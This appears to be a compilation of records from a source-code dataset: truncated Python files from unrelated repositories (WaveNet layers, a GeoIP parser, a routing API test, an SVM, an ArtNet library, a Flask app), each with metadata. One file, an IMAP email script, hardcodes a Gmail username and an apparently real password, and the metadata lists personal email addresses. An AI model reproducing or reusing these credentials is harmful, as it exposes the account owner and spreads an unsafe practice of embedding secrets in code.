john.connor.mulligan@gmail.com
b658f62a4b118bacd3312b29a0c87eda5b529c72
a22d23e38478c242f6ec971f9b3d23442804ad20
/wavenet/model/layers.py
550ddcf1d8c3f1d79681a228769a81383cd291fe
[ "MIT" ]
permissive
isadrtdinov/wavenet
04fc7886237931232a76972af16982cdf6bb832f
fcd2ccc70ca41b6d2b12964edd7dc44e835f39d1
refs/heads/main
2023-02-05T06:13:39.458337
2020-12-08T09:15:48
2020-12-08T09:15:48
318,243,750
1
0
null
null
null
null
UTF-8
Python
false
false
2,044
py
import torch from torch import nn from ..utils.utils import init_xavier class CausalConv1d(nn.Module): def __init__(self, in_channels, out_channels, kernel, dilation=1): super().__init__() self.padding = dilation * (kernel - 1) self.conv = nn.Conv1d(in_channels, out_channels, kernel_size=k...
[ "ildussadrtdinov@MacBook-Pro-Ildus.local" ]
ildussadrtdinov@MacBook-Pro-Ildus.local
9de5bd6b1e333c6f5b44a260ca9ac737f56409db
dddd0cf10c28165e1e3409f882874d0371791328
/Assignment2/parse.py
1de40673aea8c84d8e7610bec76869dbe5df8c08
[]
no_license
hardik-kgp/Networks_Lab_CS39006
3ddd07c38e0e19750991ad81c0c795f04e4d434c
c2e790d47c7c715a06be950f148b62f34c03a835
refs/heads/master
2023-04-13T22:29:59.590908
2021-04-13T10:33:10
2021-04-13T10:33:10
339,812,216
0
0
null
null
null
null
UTF-8
Python
false
false
3,547
py
""" Sriyash Poddar 18CS30040 Networks Lab Assignment-2 """ import os import sys import csv from xml.etree import ElementTree from geolite2 import geolite2 from collections import Counter """ Requirements: - install maxminddb-geolite2, using pip installl maxminddb-geolite2 Run: - python3 parse.py <PATH TO XML FILE> ...
[ "poddarsriyash@gmail.com" ]
poddarsriyash@gmail.com
3b9a76375c6dfbd704dd1c9624b6dd3c16797ede
6d7ba0efc4fb27de3829f1d035ccf946d79a9725
/pythonbasics/email_example.py
0d6b33fdd1aea233a6bf5faf97ec8d9542f27398
[]
no_license
Dante4109/BeautifulSoupPractice
ec09414f8235f137310e42e635208442e1374198
efa1840cc2d49cf1ef68ff588e394a78421a0ef8
refs/heads/master
2023-06-08T14:09:51.838846
2021-06-29T04:38:25
2021-06-29T04:38:25
378,469,244
0
0
null
null
null
null
UTF-8
Python
false
false
775
py
import imaplib import time IMAP_SERVER = 'imap.gmail.com' USERNAME = 'smtpsender4109@gmail.com' PASSWORD = 'TOSS#2017' def download_emails(ids): client = imaplib.IMAP4_SSL(IMAP_SERVER) client.login(USERNAME, PASSWORD) client.select() for i in ids: print(f'Downloading mail id: {i.decode()}') ...
[ "rogerjohnmorellizeller@gmail.com" ]
rogerjohnmorellizeller@gmail.com
d5e0ab59c72cd2d797a63c80de7256b3da04dae3
53569934093382a87971068a1f9b1c195ec1386f
/max_width.py
79c57656bfcb10eaf8920ac26a109f46f2c82e60
[]
no_license
MathieuVavrille/cdd
caa6384e0cb2f03c1d190e77d9575c53637f07c9
c2fb22a23a68beeaf58f6cdfcb576861e5d265db
refs/heads/master
2020-06-01T01:54:41.295037
2019-06-06T15:39:49
2019-06-06T15:39:49
190,585,778
0
0
null
null
null
null
UTF-8
Python
false
false
218
py
for n in range(1,100): current_max = -1 new_max = 0 i = 0 while current_max < new_max: current_max = new_max new_max = min(2**(n-i), 2**(2**i)-1) i += 1 print(n,current_max)
[ "mathieu.vavrille@gmail.com" ]
mathieu.vavrille@gmail.com
d886d26b414fdaedf9eca350eeda034264ba507b
3db11a20dc93717a00d3ca71f8448865e1b82bc5
/Bioinfo_Contest_2021/QualP1_EpiMarks.py
8af856c2f5b6e375ac1f0ed97df9c4943534e40c
[]
no_license
Jihong-Tang/ROSALAND_problems
6281cc898dc7d136502a01df678ab8eecf11eef2
d7adb299484f89496c9c68c89e8cf4f1a6da8748
refs/heads/main
2023-06-02T02:33:32.178527
2021-06-18T08:47:23
2021-06-18T08:47:23
370,893,721
1
0
null
null
null
null
UTF-8
Python
false
false
644
py
import sys def EpicMarker(num, input): res = [] for i in range(num): res.append(MarkerSearch()) if __name__ == '__main__': if len(sys.argv) == 2: filename = sys.argv[1] else: filename = './dataset/QualP1_test.txt' with open(filename) as f: lines = f.read().split...
[ "njutangjihong@gmail.com" ]
njutangjihong@gmail.com
bc665f583a10f65731382232186ceba08c47f3bc
7a21986fecf560d6ce9e4b29391112a891039416
/tests/test_routing_api.py
ee5c21cf6b42437f971e410a099908df1a8ba4d1
[ "MIT" ]
permissive
HTenkanen/HerePy
8048d96406ea966e769e81fb06dc96502a2dd3c7
d20690b79f70e90faaecd59307c9c66bb355e9da
refs/heads/master
2020-06-03T22:54:58.430817
2019-06-13T14:16:16
2019-06-13T14:16:16
191,765,172
0
0
null
2019-06-13T13:08:47
2019-06-13T13:08:47
null
UTF-8
Python
false
false
11,305
py
#!/usr/bin/env python import os import sys import unittest import responses import codecs import herepy class RoutingApiTest(unittest.TestCase): def setUp(self): api = herepy.RoutingApi('app_id', 'app_code') self._api = api def test_initiation(self): self.assertIsInstance(self._api, ...
[ "abdullahselek@gmail.com" ]
abdullahselek@gmail.com
5cf8ee84ad428b07657c9784b560dc3bcf286892
b36265bbf58a512c1c500265ab56f218c703dec2
/hw_1_3.py
c5e06c73081dc9e29925dfdec518c69f1c4a9f3b
[]
no_license
Colas89/itea_homework
dbb459540e9684a2c6ed7dda0b9e3c2c4b5a1e60
2aeb6628d7efe90e44c72884bcb77659d0ba50dc
refs/heads/master
2020-04-07T13:34:34.673128
2018-12-17T14:46:02
2018-12-17T14:46:02
158,412,661
0
0
null
null
null
null
UTF-8
Python
false
false
1,039
py
# coding=utf-8 string_1 = float(input('Введите число: ')) print('1. ', int(string_1)) print('2. ', float(string_1)) print('3. ', str(string_1)) print('4. ', bool(string_1)) print('------------------') string_2 = float(input('Введите второе число: ')) print(int(string_1) + string_2) print(int(string_1) * st...
[ "noreply@github.com" ]
Colas89.noreply@github.com
a239da2a28d651dee80f6dcff8f92a3542904051
6af14e3b67abee885acc689c156c3ac331c15af7
/materialsgen.py
5d472e3e69d85bdbfb1bc6a359d06dd6254f2d14
[ "BSD-3-Clause" ]
permissive
jhchance/UE4HmapsGenerator
14b52c966b873c3ba661d63d4c831a9664ea4948
e69f96be09ecc3b566f31fef668ed60ca01c4a22
refs/heads/main
2023-03-17T14:38:41.793466
2021-03-03T07:09:25
2021-03-03T07:09:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,890
py
# SPDX-License-Identifier: BSD-3-Clause # Rodrigo Nascimento Hernandez import unreal import os import pathlib inputdir = r'D:\MA\GIS\UE4\kingsvalley\customtiles' # Enter directory where tiled texture files are stored asset_path = '/Game' material_dir = '/landsmaterials' # Change to your Texture scale calculated by sr...
[ "rodrigo.freebsd@minasambiente.com.br" ]
rodrigo.freebsd@minasambiente.com.br
78dccc2f78262f8223d0c69e20aa6f492f78427d
a036d2c0e157c68fb8946357b348d41186763488
/Questionario2/03.py
4a60f917964e0c9ca43ba6dd2303a862adb317a7
[]
no_license
BomDia12/EstruturasDeDados
6f3bec4be7f2df0816f91cb707258b9adf1ab115
edee509cc49358f8b60a731fc316d340b62e8c12
refs/heads/master
2023-04-23T20:14:49.906054
2021-05-16T17:07:43
2021-05-16T17:07:43
340,910,505
0
0
null
null
null
null
UTF-8
Python
false
false
193
py
import math as m size, period = map(int, input().split()) lst = [int(i) for i in input().split()] for i in range(period, len(lst) + 1, 1): print(m.floor(sum(lst[i - period:i]) / period))
[ "chamatico2@gmail.com" ]
chamatico2@gmail.com
a8169631189bf3f1480256f94a7231da33f7d591
d16c72050a95be1da1f55151c102fd2b34e86e18
/e024.py
0ec96aeb399b0cf5bfefaf88d947b7a55d8b29fb
[]
no_license
PipsVazquez/PythonExamplebyExampel
0f3baf3d255507982c1ca3dd253666db5fad88b6
dc13c8306115a0926744e81a0080af6f92d07401
refs/heads/master
2023-01-28T05:22:20.663949
2020-12-11T15:16:51
2020-12-11T15:16:51
320,424,634
0
0
null
null
null
null
UTF-8
Python
false
false
166
py
#Ask the user to type in any word and display it in #upper case. print('Enter any word you want!:') any_word = input() any_word = any_word.upper() print(any_word)
[ "jfvb_2192@hotmail.com" ]
jfvb_2192@hotmail.com
ffd9e1d60aea67dc8ea2ce9259f0248fd9100619
8583747ea4ca50dfb23688db57cd6c4f5c0e755d
/python.py
6740ce526ffba0517339436a3b275e7722cf877f
[]
no_license
saravana98/python-project
7014c8ab1927cfff80ed129192e6577a937faf8a
83c00700ea7ff184779baaa14f2cbefde43261d9
refs/heads/master
2021-09-03T08:48:22.054855
2018-01-07T18:53:51
2018-01-07T18:53:51
116,387,605
0
0
null
null
null
null
UTF-8
Python
false
false
12,116
py
import cx_Oracle class address(object): def adde(self): self.details() def details(self): print("......................ADDRESS DETAILS................................") print(" ") print("ENTER TO SET ADDRESS ID:") self.getaddressid() def getaddressid(self): self.id1...
[ "noreply@github.com" ]
saravana98.noreply@github.com
b8699ea636a2cf7a3d18e2a7d4b19c22a72ea924
af3eb8840f55a1d4c96387d54744f081ab682f48
/GUI-ttk-examples.py
1b654e151f361c86c91fa5957b3b07e672e65501
[]
no_license
neoxis/python-experiments
6d47c5ce7f270906b4fa806eb91f453975934444
3986ef38ad7877fc084ea0ab2f3b48457271d59b
refs/heads/master
2021-01-25T01:21:33.400471
2018-11-11T23:57:50
2018-11-11T23:57:50
123,308,696
0
0
null
null
null
null
UTF-8
Python
false
false
2,255
py
from tkinter import * from tkinter.ttk import * #combobox library from tkinter import scrolledtext #scolled text library from tkinter import messagebox #message box library #button functions# def clicked(): txt.delete(1.0, END) def mes(): '''Example 1 - show info ''' ...
[ "bstiff@iastate.edu" ]
bstiff@iastate.edu
5bba02207c62c250554b7ccd8d84a078ebb4e514
9522c336a8f802332d17eab6ef27316363a772eb
/lh/SVM.py
fbfc1dcddb61318dbc715dc2db0ed5df579db104
[ "MIT" ]
permissive
skyf0cker/Statistical_learning_method
e867191fddf7b0aa8781628910ac7e710bcc464e
8151f3b8595ac086f08d161dc0cb961946f4b7fc
refs/heads/master
2020-04-17T08:26:28.556687
2019-04-02T15:29:07
2019-04-02T15:29:07
166,412,223
3
0
null
null
null
null
UTF-8
Python
false
false
7,471
py
import numpy as np import pandas as pd from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split import matplotlib.pyplot as plt # 产生数据 def create_data(): iris = load_iris() df = pd.DataFrame(iris.data, columns=iris.feature_names) df['label'] = iris.target df.columns =...
[ "vophanlee@gmail.com" ]
vophanlee@gmail.com
7fc790df3ffa801a443e9017b1e363c273d6a337
92f932fd04cdf344e3fa68874e96e7186c770b49
/scratch/scratch.py
69d4f7cb4b66dcea62a2c082c2a4e41a1931c22c
[]
no_license
raydennis/python
831a1fc195fa1a1db6974dd12dce8b689789eaea
56527faca0f9f026e59f9a888100937b7b790617
refs/heads/master
2022-12-21T00:17:49.250559
2021-11-08T18:02:27
2021-11-08T18:02:27
155,884,485
0
0
null
2022-12-08T08:41:47
2018-11-02T15:21:11
Python
UTF-8
Python
false
false
34
py
import os print(os.listdir("/"))
[ "raydennis@outlook.com" ]
raydennis@outlook.com
674ebc2b2e8dc6a982b11a093cd632ebdbcdb155
919a15e3c20ed92baeb609355c590d749debd24d
/sys_demo.py
91ad8d29b4a7c7ffa85b12d5fd330671ae2c04ad
[]
no_license
Rocks526/Python-module
0d8ad0e8c7c902c215ea0f1ad43d1ed9aa0b23d8
0ab0fdc1381cf6f80136ced72bc3589a91b9abd2
refs/heads/master
2023-02-21T06:08:39.709434
2021-01-26T06:20:38
2021-01-26T06:20:38
328,973,312
0
0
null
null
null
null
UTF-8
Python
false
false
841
py
# sys模块示例 import sys # 实现从程序外部向程序传递参数,返回元组,第一个是程序名 print(sys.argv) # 返回python版本号 print(sys.version) # `sys.modules`是一个全局字典,该字典是python启动后就加载在内存中 print(sys.modules) # 获取系统当前编码,一般默认为ascii。 print(sys.getdefaultencoding()) # 设置系统默认编码 windows下报错 if sys.getdefaultencoding() != 'utf-8': reload(sys) sys.setdefault...
[ "lizhaoxuan@qianxin.com" ]
lizhaoxuan@qianxin.com
754c47df7a206038ddbb251f1b001114c5f9cbf4
51d9d921ef5d09e69dcef650a26ca7157b4e7b76
/medseg/dataset_loader/_utils/elastic_transform.py
88561e52c3affab9826ba0428b5fda978f48a588
[ "MIT", "Apache-2.0" ]
permissive
lemoshu/Cooperative_Training_and_Latent_Space_Data_Augmentation
e81a062b33b47bef98a1405355766cc67e3e7c24
12c01be8e5ad5862e2345a7cfd54269c7ffdfdc7
refs/heads/master
2023-08-06T13:25:13.515831
2021-09-29T21:40:14
2021-09-29T21:40:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,216
py
# Created by cc215 at 27/05/19 # perform elastic transform on 2D image data # for data augmentation # Enter steps here # Function to distort image import SimpleITK as sitk import numpy as np from scipy.ndimage.interpolation import map_coordinates from scipy.ndimage.filters import gaussian_filter from skimage import t...
[ "chen.chen15@imperial.ac.uk" ]
chen.chen15@imperial.ac.uk
4f286ff92811136f0e5a8eae86b3ab789f7cc07f
786de89be635eb21295070a6a3452f3a7fe6712c
/CalibManager/tags/V00-00-02/src/GUICalibDirTree.py
862c14460ee2b3dba4aeab4e61a61435098d92dd
[]
no_license
connectthefuture/psdmrepo
85267cfe8d54564f99e17035efe931077c8f7a37
f32870a987a7493e7bf0f0a5c1712a5a030ef199
refs/heads/master
2021-01-13T03:26:35.494026
2015-09-03T22:22:11
2015-09-03T22:22:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,840
py
#-------------------------------------------------------------------------- # File and Version Information: # $Id$ # # Description: # Module GUICalibDirTree... # #------------------------------------------------------------------------ """GUI works with dark run""" #------------------------------ # Module's versio...
[ "dubrovin@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7" ]
dubrovin@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7
4b304a6e1a76ef2a2f7c84a60648ce425b7fb6eb
4ad94b71e30883d6df07a3277265bd6fb7457ba7
/python/examples/doc_examples/export/animation_mpeg4.py
7c73d2ff682be520d5d63b21b8a1722fb7631a24
[ "MIT" ]
permissive
Tecplot/handyscripts
7cb1d4c80f323c785d06b0c8d37aeb0acb67f58c
84a89bfecff5479a0319f08eb8aa9df465283830
refs/heads/master
2023-08-22T15:29:22.629644
2023-08-12T01:19:59
2023-08-12T01:19:59
149,826,165
89
64
MIT
2022-01-13T01:11:02
2018-09-21T22:47:23
Jupyter Notebook
UTF-8
Python
false
false
2,932
py
import argparse, os import tecplot as tp from tecplot.constant import * def parse_args(): """ This script is to be run from the command line and accepts the following command line arguments. Run this script with "--help" to see usage and help information. """ parser = argparse.ArgumentParser()...
[ "55457608+brandonmarkham@users.noreply.github.com" ]
55457608+brandonmarkham@users.noreply.github.com
ca6f95ccb8191ba74e9a924ab2ad6066006c9a4a
622d3728c1dd87bea80dd164d156eedb2635a2f1
/ArtNet.py
7d18347fa3f9161e384359c6b20a4ab3207af6e3
[]
no_license
Josverl/ALS
58d081b45f5567807078ec964111649e176c7195
fbad28beb11d7817578704bfaa75ccb13821fbf8
refs/heads/master
2020-05-25T07:13:56.149593
2012-12-11T17:52:15
2012-12-11T17:52:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,102
py
#! /usr/bin/env python # -*- coding: utf-8 -*- # Name: luminosus ArtNet library # Python ArtNet library to send and receive ArtNet data # Author: Tim Henning # Copyright 2011 Tim Henning # Luminosus is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
[ "office@audiowerk.at" ]
office@audiowerk.at
236de0d625e60d74d181e3e4a7c9f70b19d02c0d
5a809d40a91f5504b61626ec02a9304e62291bc0
/env/lib/python3.6/site-packages/chargebee/version.py
30cbf0d92a4e12680dbf782cbdd8e9bdc38f1300
[ "MIT" ]
permissive
Mohitkaushal97/File
5788bcfd4bb54ad703d82c8184efab8152ae2f09
0bc5cca9a557e242861a289af74dfe8b905bc3bd
refs/heads/master
2022-12-19T03:19:29.213914
2020-10-01T06:28:36
2020-10-01T06:28:36
300,170,604
0
0
null
null
null
null
UTF-8
Python
false
false
18
py
VERSION = '2.7.4'
[ "mohit.kaushal@techstriker.com" ]
mohit.kaushal@techstriker.com
ec0fac0dd7fb5d9ec32e73aaca40753477667a44
eb7e993b802d491e3c3470c84d3d0b307ed20b24
/answers/q29.py
144c29d760b8f717d1d9ce8616a417ba5b864074
[]
no_license
XSpursJ/100PythonExercises
b58bcf6c03be377786d2ce97fcdeca1e7325c1d5
6fc484ede430b6aa06f115cb541ddb9f9dd6dcf3
refs/heads/master
2020-07-17T03:11:20.361815
2019-10-28T03:03:01
2019-10-28T03:03:01
205,929,028
0
0
null
null
null
null
UTF-8
Python
false
false
277
py
def printLongerString(s1, s2): if len(s1) > len(s2): print(s1) elif len(s1) < len(s2): print(s2) else: print(s1) print(s2) printLongerString('fasd', 'fdsqe') printLongerString('22222', 'fdsqe') printLongerString('fasd312', 'fdsqe')
[ "sxu1988@gmail.com" ]
sxu1988@gmail.com
e009fc66ed157b0ffd03aa37300b4974a344b712
f971088b29cf382e2f51c98716b826218573bcfb
/parrots-deeplab/uitls/cityscapes_reader.py
ea680db27e5e258fd18f070ddd3d7f25d5ea30df
[]
no_license
yuzhile/flow_propagation
8a49b400690065e183f41e71f6b686fb9193fd78
884c3e218bda8a9e0e6bae7bed35b4246aa5cd66
refs/heads/master
2021-01-12T05:59:15.887819
2017-03-17T18:14:29
2017-03-17T18:14:29
77,260,845
0
0
null
null
null
null
UTF-8
Python
false
false
12,006
py
import random import numpy as np from PIL import Image import cv2 import sys from multiprocessing import Process, Queue class CityscapesReader: ''' Load (input image, label image) pairs from PASCAL VOC one-at-a-time while reshaping the net to preserve dimensions Use this to feed data to a fully convo...
[ "yuzhile_study@163.com" ]
yuzhile_study@163.com
2d959348fb53a3f73acfd66f0441f7e8c6026727
813284b9dac4477f4893cb6b30ffafab8e181cc4
/contrib/linearize/linearize-hashes.py
d09065439ec8c13970e3d8289d3634fc41ad3053
[ "MIT" ]
permissive
phoenixkonsole/xbtx
609809c29c32e2c4373a26204480a0e2a9f0922e
2f9db3d0ca34103e315a5bc9ef2fa2d42cb71810
refs/heads/master
2023-05-11T17:37:28.762478
2023-05-03T09:54:14
2023-05-03T09:54:14
243,993,348
3
11
MIT
2023-05-03T09:54:15
2020-02-29T15:30:47
C++
UTF-8
Python
false
false
4,698
py
#!/usr/bin/env python3 # # linearize-hashes.py: List blocks in a linear, no-fork version of the chain. # # Copyright (c) 2013-2016 The Bitcoin Core developers # Copyright (c) 2017 The BitcoinSubsidium Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.openso...
[ "william.kibbler@googlemail.com" ]
william.kibbler@googlemail.com
b492ac0fd419681b75149c40b8e8d7670434d040
bda8bcfbd397c4aa2939c13bb7f7e4d1bfe5e9b8
/app.py
2f97588ef3560a3706bc4a109860d6a7c199f49a
[]
no_license
VladKaneivskyi/lab23
37ca6378bfd403525d44af690844e4b30fe026b6
643a3138250ec93b7670a539106766fc28f544de
refs/heads/master
2020-08-29T13:29:48.138246
2019-10-28T13:22:52
2019-10-28T13:22:52
218,046,785
0
0
null
2019-10-28T12:56:37
2019-10-28T12:56:37
null
UTF-8
Python
false
false
14,693
py
from flask import render_template, request, redirect, url_for, Flask from forms.CharacteristicForm import CharacteristicForm from forms.EditCharacteristicForm import EditCharacteristicForm from forms.EditGoodsForm import EditGoodsForm from forms.EditStoreForm import EditStoreForm from forms.GoodsForm import GoodsForm f...
[ "vlad16tank" ]
vlad16tank
c7dce3d0fe41eefe9cc4cdce9836470bcf024fc6
3bb3f9779755cb2c54d7c25730402f3a3e2ad668
/api/migrations/0005_auto_20210801_1814.py
ffa0e43b511d8a30bbc157942738446056c5eff4
[]
no_license
trunghieule0301/demo-luan-van
d1b86ffbb273f9cc77bef791c372538abd27bc11
079df0584f9f416b2fe97cde4f7dc1e960869e48
refs/heads/main
2023-07-12T03:07:44.530813
2021-08-13T16:18:01
2021-08-13T16:18:01
395,297,825
0
1
null
null
null
null
UTF-8
Python
false
false
560
py
# Generated by Django 3.2.5 on 2021-08-01 11:14 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('api', '0004_auto_20210801_1812'), ] operations = [ migrations.AlterField( model_name='bookcategory', n...
[ "noreply@github.com" ]
trunghieule0301.noreply@github.com
826ff5fbda6157abe17679e09c88a2f5ee00718f
7b2d14f78099fde6c4a35082c9c294d1771cb163
/Week 8/class_test.py
53f6096a898910fbe51a1f31c0374884107660a0
[]
no_license
pinardy/Digital-World
04c6ddb369ede7295a0891aaaa006486c557965e
dd0a351eb64f05b524b08c47cd0c0ad3eadd775c
refs/heads/master
2020-12-30T22:45:02.448171
2018-01-30T03:06:08
2018-01-30T03:06:08
80,622,946
0
0
null
null
null
null
UTF-8
Python
false
false
277
py
class A: x = [] def add(self): self.x.append(1) class B: def __init__(self): self.x = [] def add(self): self.x.append(1) x = A() y = A() x.add() print x.x y.add() # print "A's x:",x.x x = B() y = B() x.add() y.add() # print "B's x:",x.x
[ "pinardy@hotmail.com" ]
pinardy@hotmail.com
6ae72e6021f67757b723b5c09eafb16b9ad96999
29890f78efd04f78c336d5fd741a952590d22f91
/Trees/binary_search_tree.py
904ac2420b327c8555730b90710ed706e9f7964d
[]
no_license
Siva-Karthi/ProblemSolvingPractice
d396f497fa7768e0ab49d8fe0376198bc2d2ab5e
6e8a0306fe4eb6fd2512b858f0ce33657e3ea03f
refs/heads/master
2023-06-24T04:38:47.698473
2023-06-10T17:02:51
2023-06-10T17:02:51
219,552,342
2
2
null
2021-04-20T19:08:59
2019-11-04T17:00:33
Python
UTF-8
Python
false
false
2,854
py
# [-10,-1,0,1,2,3] def binary_search(item, arr, L,R) -> int: """ take item , get mid index and element of this index as root if item is the root element , well and good return current index else if item < root then search on elements which are only left to the root else if item > root then search o...
[ "sivasubramani612@gmail.com" ]
sivasubramani612@gmail.com
54e1596be988c6ca8e02b48c1c5d883863948344
9329b0100c3427eda0db0d26df7ae119de239a53
/bot.py
dc1fc336905377779c83b5fc43198923da2f2f9e
[]
no_license
WozniH4CK/Heroku-Python-Telegram-Bot
78db8e6218d20d35aa69f6ba5ff8c4855d6fe298
c3497e2f8b57d825b1d9453184751c7646c49c87
refs/heads/main
2023-05-12T22:50:50.932522
2023-05-09T16:43:54
2023-05-09T16:43:54
343,742,448
0
0
null
null
null
null
UTF-8
Python
false
false
1,837
py
import logging import os from telegram import Update from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext PORT = int(os.environ.get('PORT', 5000)) TOKEN = "TELEGRAM_TOKEN_BOT" # Logger logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', l...
[ "orla.autiero@gmail.com" ]
orla.autiero@gmail.com
d94d4b6bc3dfccbaea31402de8285469ad04461e
126a7e14fe5d82d1c30c6b0eb3aa09aacc693c9f
/product_search/urls.py
6695123ba29cf49be8f88a42fe86330c806db46b
[]
no_license
saadmk11/product-search
5118e67141aef2a4ff12ce5e74736d2fd2850f06
3564caee0f6b9d969d24123670b570d5f995f7d4
refs/heads/master
2021-08-22T16:37:26.017213
2019-10-22T11:51:36
2019-10-22T11:51:36
176,906,721
0
0
null
2021-06-10T21:17:34
2019-03-21T08:57:00
Python
UTF-8
Python
false
false
861
py
"""product_search URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') C...
[ "saad.mk11@hotmail.com" ]
saad.mk11@hotmail.com
525d4db02bf1441bcfcd55601ed44f71be25d8c7
26ea23b0f3c35ba9622a7c773674a34519940a2a
/alphabet_mode_main.py
1dcc26020b1df5ef809c5e90284c8df4e5af75ee
[ "MIT" ]
permissive
Nelson1211/ASLFingerspelling
1ddbc996c262c88156ebe4031fa7646eca3f9ab5
8a751c1d1f80ba33da28a7fee88f1f7f4e318b9d
refs/heads/master
2022-07-01T15:37:20.273511
2020-05-07T06:28:04
2020-05-07T06:28:04
261,967,969
0
0
null
null
null
null
UTF-8
Python
false
false
5,551
py
import glob import sys import cv2 import numpy as np import os import tensorflow as tf from utils import detector_utils as detector_utils from handshape_feature_extractor import HandShapeFeatureExtractor import nltk def get_inference_vector_one_frame_alphabet(): # model trained based on https://www.kaggle.com/mrg...
[ "nelson@Nelsons-MacBook-Pro.local" ]
nelson@Nelsons-MacBook-Pro.local